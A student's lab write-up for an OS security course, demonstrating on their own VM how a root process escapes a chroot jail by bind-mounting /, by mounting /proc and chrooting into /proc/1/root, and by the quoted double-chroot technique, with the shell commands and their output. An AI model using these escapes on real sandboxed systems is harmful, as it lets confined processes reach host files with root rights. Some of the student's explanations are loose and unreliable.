Session 05: OS and Application Security¶
In this session, we learn about the security and vulnabilities of Operating System (OS) and applications. In thks homeworks, I demonstrate and learn how does the original specifications of OS and Application works as vulnerbilities throguth observing the functions and behaviors of “chroot”.
Part1: chroot DEMO¶
Step 1: Create the Host Secret Flag & Set Up a Shell¶
I tried here:
sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}" > /host_secret.txt
but, the result is here:
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}" > /host_secret.txt
-bash: /host_secret.txt: Permission denied
The reason is simple. The above command try to write a file in the top directory (“/”), but top directory, in linux, only root have all permission, general user only read and copy the file… In case of above command, echo execute with sudo, but “> /host_secret.txt” would execute by “ubuntu” user, so the file could not writable.
Therefore, I changed to this command:
sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}" | sudo tee /host_secret.txt"
“tee” command could copies from standard input to one or more files in addition to stdout (standard output).
And, the file could see on top directory.
ubuntu@ff-cs-yosuke-tsuchiya:/$ ls -l
total 3379296
lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Feb 26 2024 bin.usr-is-merged
drwxr-xr-x 5 root root 4096 Jul 3 07:00 boot
dr-xr-xr-x 2 root root 4096 Feb 10 06:52 cdrom
drwxr-xr-x 21 root root 4160 Jul 4 00:07 dev
drwxr-xr-x 153 root root 12288 Jul 8 06:07 etc
drwxr-xr-x 4 root root 4096 Jun 24 06:40 home
-rw-r--r-- 1 root root 42 Jul 9 08:43 host_sectet.txt
lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 22 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Feb 26 2024 lib.usr-is-merged
drwx------ 2 root root 16384 Jun 11 13:28 lost+found
drwxr-xr-x 2 root root 4096 Feb 10 00:16 media
drwxr-xr-x 2 root root 4096 Feb 10 00:16 mnt
drwxr-xr-x 3 root root 4096 Jun 16 00:54 opt
dr-xr-xr-x 266 root root 0 Jul 4 00:07 proc
drwx------ 8 root root 4096 Jun 30 11:26 root
drwxr-xr-x 36 root root 1160 Jul 9 08:32 run
lrwxrwxrwx 1 root root 8 Apr 22 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Oct 3 2025 sbin.usr-is-merged
drwxr-xr-x 2 root root 4096 Jun 11 13:31 snap
drwxr-xr-x 2 root root 4096 Feb 10 00:16 srv
-rw------- 1 root root 3460300800 Jun 11 13:29 swap.img
dr-xr-xr-x 13 root root 0 Jul 9 08:35 sys
drwxrwxrwt 17 root root 4096 Jul 9 08:36 tmp
drwxr-xr-x 12 root root 4096 Feb 10 00:16 usr
drwxr-xr-x 15 root root 4096 Jun 24 12:15 var
ubuntu@ff-cs-yosuke-tsuchiya:/$
Then, installed busybox:
sudo apt update && sudo apt install -y busybox-static
but the busybox-static has already installed.
ubuntu@ff-cs-yosuke-tsuchiya:/$ sudo apt install busybox-static
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
busybox-static is already the newest version (1:1.36.1-6ubuntu3.1).
busybox-static set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 6 not upgraded.
I made a directory for jail of chroot.
mkdir -p ~/chroot_jail/bin
Then, tried to copy busybox-static execute file from /bin, but that does not found.
ubuntu@ff-cs-yosuke-tsuchiya:/bin$ ls -la | grep busybox
-rwxr-xr-x 1 root root 2124608 Feb 10 00:34 busybox
lrwxrwxrwx 1 root root 7 Feb 10 00:34 static-sh -> busybox
ubuntu@ff-cs-yosuke-tsuchiya:/bin$
So, I copied “busybox” file into ~/chroot_jail/bin
cp /bin/busybox ~/chroot_jail/bin/sh
Then, confirmed “sh” file is in /chroot_jail/bin
ubuntu@ff-cs-yosuke-tsuchiya:~$ cd chroot_jail/
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail$ ls
bin
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail$ cd bin
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ ls
sh
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ ls -la
total 2084
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 9 08:51 .
drwxrwxr-x 3 ubuntu ubuntu 4096 Jul 9 08:49 ..
-rwxr-xr-x 1 ubuntu ubuntu 2124608 Jul 9 08:51 sh
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$
Step 2: Activate the Jail.¶
Now, I chroot to enter the jail.
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ sudo chroot ~/chroot_jail /bin/sh
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ #
The prompt is changed, that is the sign to enter into chroot space.
Attempting to list the Root Directory
/ # ls -la /
total 12
drwxrwxr-x 3 1000 1000 4096 Jul 9 08:49 .
drwxrwxr-x 3 1000 1000 4096 Jul 9 08:49 ..
drwxrwxr-x 2 1000 1000 4096 Jul 9 08:51 bin
/ #
Only /bin folder comes up.
Attempt Directry Travel
Going to up directory.
/ # cd ../
/ # ls -la
total 12
drwxrwxr-x 3 1000 1000 4096 Jul 9 08:49 .
drwxrwxr-x 3 1000 1000 4096 Jul 9 08:49 ..
drwxrwxr-x 2 1000 1000 4096 Jul 9 08:51 bin
Nothing changed.
Trying to going back to “home”.
/ # cd
/bin/sh: cd: can't cd to /root: No such file or directory
/ # pwd
/
This is interesting. Only executing “cd” command (to back to my home directory), but it tries to go back to /root directory (root’s home directory) and give a message “No such file or directory”. So, checking where I am now with “pwd” directory, and I could found I am in “/” directory.
Can you grab the file?:
Trying to read the file which I put on the root directory, host_secret.txt
/bin # cat /host_secret.txt
/bin/sh: cat: not found
/bin #
This is funny. According to the instruction document, it is expected to show “cat: can’t open ‘/host_secret.txt: No such file or directory.”, but I got the message that “cat” command does not found....
exit the jail*
Just type “exit”, then I could exit from the Jail.
/bin # exit
ubuntu@ff-cs-yosuke-tsuchiya:~$
Part 2: Deliverables & Submission Requirements¶
When you ran cd ../../.. inside the jail and checked your location, why couldn’t you exit? How does the kernel manipulate path resolution for a chroot-ed process?
As I checked above, I cannot change to host’s root directory as follow.
/ # cd ../../..
/ # pwd
/
/ #
This is because chroot sets the specified directory as the root directory. In this case, I specified the jail directory as “~/chroot_jail”, and this directory become root directory. In the enverinment of chroot, the kernel is referred to the host one, and the location info is override. In the above demonstration, I tried to execute “cat” command, but I got the message “cat: not found”. That is the sign that the root directory is changed and the path to the command was lost in the jail (used kernel parameter that assume there are /usr/bin file in / (root directory), and it also used in jail, then the location is lost…)
What happens if you try to run commands like nano, python3, or grep inside your jail? Explain why they fail, even if they are installed on your host OS.
This is also the same as follow.
/ # python3
/bin/sh: python3: not found
/ # cd ../../..
/ # pwd
/
/ # nano test.txt
/bin/sh: nano: not found
/ # ls -la | grep bin
/bin/sh: grep: not found
/ #
That is because the path to the directory which those command are installed (/usr/bin) was lost in the jail. It is often said when using chroot, it is require to copy all the programs that run within that environment (such as bashand ls) and their dependency files (such as .sofiles) into the new root directory, but it’s for the reasons mentioned above.
Part 3: Deep-Dive Discussion — The Privilege Escape Paradox¶
New questions! 1. The user I mentioned isn’t happy with the limitations discussed in Part 2 above. Fix them! Add all of /bin and /lib, your user should be able to access a compiler and other tooling.
I think it could be achieved to use “mount bind” to mount some system foders (/bin, /lib, /lib64 and /user) into jail folder.
Regular “mount” command mount a filesystem (USB device, DVD RAM etc) is associated with a specific directory for use. (ex. Mount /dev/sda1 to /mnt/usb). On the other hand, Bind mount mount an existing directory or file as a “reference” to another location.
First, mount some directories into ~/chroot_jail folders.
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /bin ~/chroot_jail/bin
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /lib ~/chroot_jail/lib
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /lib64 ~/chroot_jail/lib64
ubuntu@ff-cs-yosuke-tsuchiya:~$ mkdir ~/chroot_jail/usr
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /usr ~/chroot_jail/usr
Then, chroot to enter the jail.
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail /bin/bash
bash-5.2#
Then, try to exexuse some command.
bash-5.2#
bash-5.2# python3
Python 3.12.3 (main, Jun 19 2026, 12:46:00) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
bash-5.2# pwd
/
bash-5.2# echo "this is the test" > test.txt
bash-5.2# cat test.txt
this is the test
bash-5.2# less text.txt
text.txt: No such file or directory
bash-5.2# less test.txt
python3, pwd, cat less command worked. This is very simple, I just mount(added) the necessary folders for executing those softwares into jail directory.
Now various other commands are available to your sandboxed user, consider the below issue. You find out that your user was able to gain access to your secret file! How? Demonstrate at least one method of escaping the sandbox on your student VM, and demonstrate in your writeup that this works.
I think to use bind mount (mount –bind) command to mount top directory “/” into the jail.
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind / ~/chroot_jail/breakout
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail/ /bin/bash
bash-5.2#
bash-5.2#
bash-5.2# ls
bin breakout escape escape.c etc lib lib64 proc root sub usr
bash-5.2# cd breakout/
bash-5.2# ls
bin boot dev home lib lib.usr-is-merged media opt root sbin snap swap.img tmp var
bin.usr-is-merged cdrom etc host_secret.txt lib64 lost+found mnt proc run sbin.usr-is-merged srv sys usr
bash-5.2# cat host_secret.txt
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
bash-5.2#
Yeah, I could see hsot_secret.txt file that are mounted into breakout folder. However, since this directory was mounted before the / directory was chrooted in the first place, this is actually to be expected when you think about it. In normal operation, it’s unlikely that the root directory itself would be mounted inside a chroot jail.
Is there a way to access the root directory (/) from inside the jail without mounting it beforehand…? Usually, we cannot access to outside of the jail.... I know that, but… I checked whether any folders in / directories, which is used for system process and management like proc, dev, sys…, could mount or not.
As a result, I could mount /proc into ~/chroot_jail folder.
bash-5.2# mkdir /proc
bash-5.2# mount -t proc proc /proc
Then, check inside of /proc
bash-5.2# ls
bin breakout lib lib64 proc usr
bash-5.2# ls /proc/1
Display all 100 possibilities? (y or n)
bash-5.2# ls /proc/1/root/
bin boot dev home lib lib.usr-is-merged media opt root sbin snap swap.img tmp var
bin.usr-is-merged cdrom etc host_secret.txt lib64 lost+found mnt proc run sbin.usr-is-merged srv sys usr
bash-5.2# cat /proc/1/root/host_secret.txt
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
I could access to the host root directory in root process, and opened the host_secret.txt.
What happened? The most important thing is that chroot override the path to folder and files, but other information such as user/group/process id are referred to host one. Usually, mount command can only use root account and root could access all the files/foders inside the /proc.
When used chroot, that would become the same id, group, process with host root account.
Here is checking the user account name and id in jail
bash-5.2# whoami
whoami: cannot find name for user ID 0: No such file or directory
bash-5.2# id
uid=0 gid=0 groups=0
whoami failed because it looks up /etc/passwd to convert UID 0 to a username, but /etc/passwd does not exist inside the jail. However, id succeeded because it can display the raw UID number without name resolution.
Here is checking the root user’s id in host. As a result, in the jail, the user became root, and could execute the command as root, and this privileges applied to outside of the jail.
ubuntu@ff-cs-yosuke-tsuchiya:~$ whoami
ubuntu
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo whoami
root
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
Also, why could access and mount /proc from the jail? Because /proc is stored the system information and status and this directory is in the system memory, not in the disk. Chroot does not treat the files out of the disk(filesystem), therefore /proc could access and mount from the jail.
As seen below, type of /proc is different from root directory (/). Proc is “proc” type, and root directory is “ext4”.
ubuntu@ff-cs-yosuke-tsuchiya:~$ df -Ta
df: /run/user/1000/doc: Operation not permitted
Filesystem Type 1K-blocks Used Available Use% Mounted on
sysfs sysfs 0 0 0 - /sys
proc proc 0 0 0 - /proc
udev devtmpfs 1928600 0 1928600 0% /dev
devpts devpts 0 0 0 - /dev/pts
tmpfs tmpfs 369416 1444 367972 1% /run
efivarfs efivarfs 256 194 58 78% /sys/firmware/efi/efivars
/dev/mapper/ubuntu--vg-ubuntu--lv ext4 22473872 10916356 10390568 52% /
securityfs securityfs 0 0 0 - /sys/kernel/security
tmpfs tmpfs 1380132 0 1380132 0% /dev/shm
tmpfs tmpfs 5120 0 5120 0% /run/lock
cgroup2 cgroup2 0 0 0 - /sys/fs/cgroup
pstore pstore 0 0 0 - /sys/fs/pstore
bpf bpf 0 0 0 - /sys/fs/bpf
systemd-1 - - - - - /proc/sys/fs/binfmt_misc
hugetlbfs hugetlbfs 0 0 0 - /dev/hugepages
mqueue mqueue 0 0 0 - /dev/mqueue
debugfs debugfs 0 0 0 - /sys/kernel/debug
tracefs tracefs 0 0 0 - /sys/kernel/tracing
fusectl fusectl 0 0 0 - /sys/fs/fuse/connections
configfs configfs 0 0 0 - /sys/kernel/config
tmpfs tmpfs 1171748 0 1171748 0% /run/qemu
/dev/sda2 ext4 1992552 205744 1665568 11% /boot
/dev/sda1 vfat 1098632 6288 1092344 1% /boot/efi
binfmt_misc binfmt_misc 0 0 0 - /proc/sys/fs/binfmt_misc
tmpfs tmpfs 184376 104 184272 1% /run/user/1000
/dev/mapper/ubuntu--vg-ubuntu--lv ext4 22473872 10916356 10390568 52% /home/ubuntu/chroot_jail/bin
/dev/mapper/ubuntu--vg-ubuntu--lv ext4 22473872 10916356 10390568 52% /home/ubuntu/chroot_jail/lib
/dev/mapper/ubuntu--vg-ubuntu--lv ext4 22473872 10916356 10390568 52% /home/ubuntu/chroot_jail/lib64
/dev/mapper/ubuntu--vg-ubuntu--lv ext4 22473872 10916356 10390568 52% /home/ubuntu/chroot_jail/usr
/dev/mapper/ubuntu--vg-ubuntu--lv ext4 22473872 10916356 10390568 52% /home/ubuntu/chroot_jail/etc
ubuntu@ff-cs-yosuke-tsuchiya:~$
Those itself are not the vulnerability, but a specification of chroot, but those would become a vulnerability if some requirements are satisfied as follow.
- mount the commands (or folders) that are execute the system operation (like mount command)
- use it for accessing to the folders stored system information and status.
- the user/group id in jail is the same with host root.
The Double-Chroot Escape Vulnerability¶
The description of Double-Chroot Escape Vulerability is as follow (from homework page):
If an untrusted process inside a chroot sandbox manages to maintain or upgrade its privileges to root (UID 0), it can easily bypass the filesystem barrier using a well-known exploit technique colloquially called a Double-Chroot Escape.
How the Escape Works 1. The attacker s running inside the jail, but retains full system admin capability (root).
The attacker calls open(“.”, …) to grab a direct hardware handle (file descriptor) pointing to the jail’s current root directory.
The attacker creates a temporary subfolder inside the jail (e.g., /breakout) and issues a new chroot command targeting that deeper folder.
The kernel updates the process’s internal root pointer to point to /breakout. Crucially, the old root folder handle from step 2 is now technically outside the process’s new active root boundary.
Because the attacker has a raw file descriptor to a directory outside its current root, they can call fchdir() onto that handle, and execute cd .. repeatedly. The kernel can no longer stop the traversal because the boundary calculation breaks down when navigating upwards from an external file handle.
The attacker arrives at the true host root, issues one final chroot(“.”), and breaks completely into the host filesystem with full administrative permissions intact.
If “/” folder could be mounted into the jail, Double-Chroot Escape Vulnerability is something like that:
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind / ~/chroot_jail/breakout
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail/ /bin/bash
bash-5.2#
bash-5.2#
bash-5.2# ls
bin breakout escape escape.c etc lib lib64 proc root sub usr
bash-5.2# chroot /breakout /bin/bash
root@ff-cs-yosuke-tsuchiya:/#
root@ff-cs-yosuke-tsuchiya:/#
root@ff-cs-yosuke-tsuchiya:/# ls
bin boot dev home lib lib.usr-is-merged media opt root sbin snap swap.img tmp var
bin.usr-is-merged cdrom etc host_secret.txt lib64 lost+found mnt proc run sbin.usr-is-merged srv sys usr
root@ff-cs-yosuke-tsuchiya:/# cd
root@ff-cs-yosuke-tsuchiya:~# ;s
bash: syntax error near unexpected token `;'
root@ff-cs-yosuke-tsuchiya:~# ls
root@ff-cs-yosuke-tsuchiya:~# cd ..
root@ff-cs-yosuke-tsuchiya:/# ls
bin boot dev home lib lib.usr-is-merged media opt root sbin snap swap.img tmp var
bin.usr-is-merged cdrom etc host_secret.txt lib64 lost+found mnt proc run sbin.usr-is-merged srv sys usr
root@ff-cs-yosuke-tsuchiya:/# cat host_secret.txt
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
root@ff-cs-yosuke-tsuchiya:/#
In short, you run chroot by specifying the folder where “/” is mounted inside the jail (in this case, /breakout) as the new root directory. By doing so, once you escape the jail, you will be logged in as the root user in the / directory. This is exactly as I pointed out earlier that chroot override the path to folder and files, but other information such as user/group/process id are refferd to host one.
So, based on the fact that you can mount the proc directory from inside the jail mentioned earlier, I observed a shocking phenomenon. As shown below, by chrooting with /proc/1/root inside the proc folder as the root directory, you can similarly escape the jail, retain the root account, and navigate to the top-level directory. That location behaves exactly like the root directory of the original system.
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail/ /bin/bash
bash-5.2#
bash-5.2#
bash-5.2#
bash-5.2# ls
bin breakout escape escape.c etc lib lib64 proc root sub usr
bash-5.2# mount -t proc proc /proc
bash-5.2# chroot /proc/1/root /bin/bash
root@ff-cs-yosuke-tsuchiya:/#
root@ff-cs-yosuke-tsuchiya:/#
root@ff-cs-yosuke-tsuchiya:/# ls
bin boot dev home lib lib.usr-is-merged media opt root sbin snap swap.img tmp var
bin.usr-is-merged cdrom etc host_secret.txt lib64 lost+found mnt proc run sbin.usr-is-merged srv sys usr
root@ff-cs-yosuke-tsuchiya:/# cat host_secret.txt
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
root@ff-cs-yosuke-tsuchiya:/# pwd
/
root@ff-cs-yosuke-tsuchiya:/# python3
Python 3.12.3 (main, Jun 19 2026, 12:46:00) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
root@ff-cs-yosuke-tsuchiya:/#
Unlike the previous method (mount / in advance), which requires mounting the / directory in advance, this approach can be performed from within the jail with only the bare minimum required (simply ensuring that the mount command can run).
Learning Outcome¶
Chroot was originally developed as part of a functionality designed to restrict file access or isolate resources and working environments, similar to what are known as containers or virtualization (such as Docker and VirtualBox) in modern computing. And that history come back from 1960’s.
The lesson from this demonstration and experiment is that vulnerabilities in operating systems and applications are not only caused by implementation flaws (generally recognized as bugs), but can also stem from the software’s original specifications. Because chroot is designed to “simply isolate the working environment, while processes and user IDs still refer to the original system,” it allows for the kinds of jailbreaks and manipulation of the underlying system described above.
I felt the more one thinks about this, the more serious the issue becomes.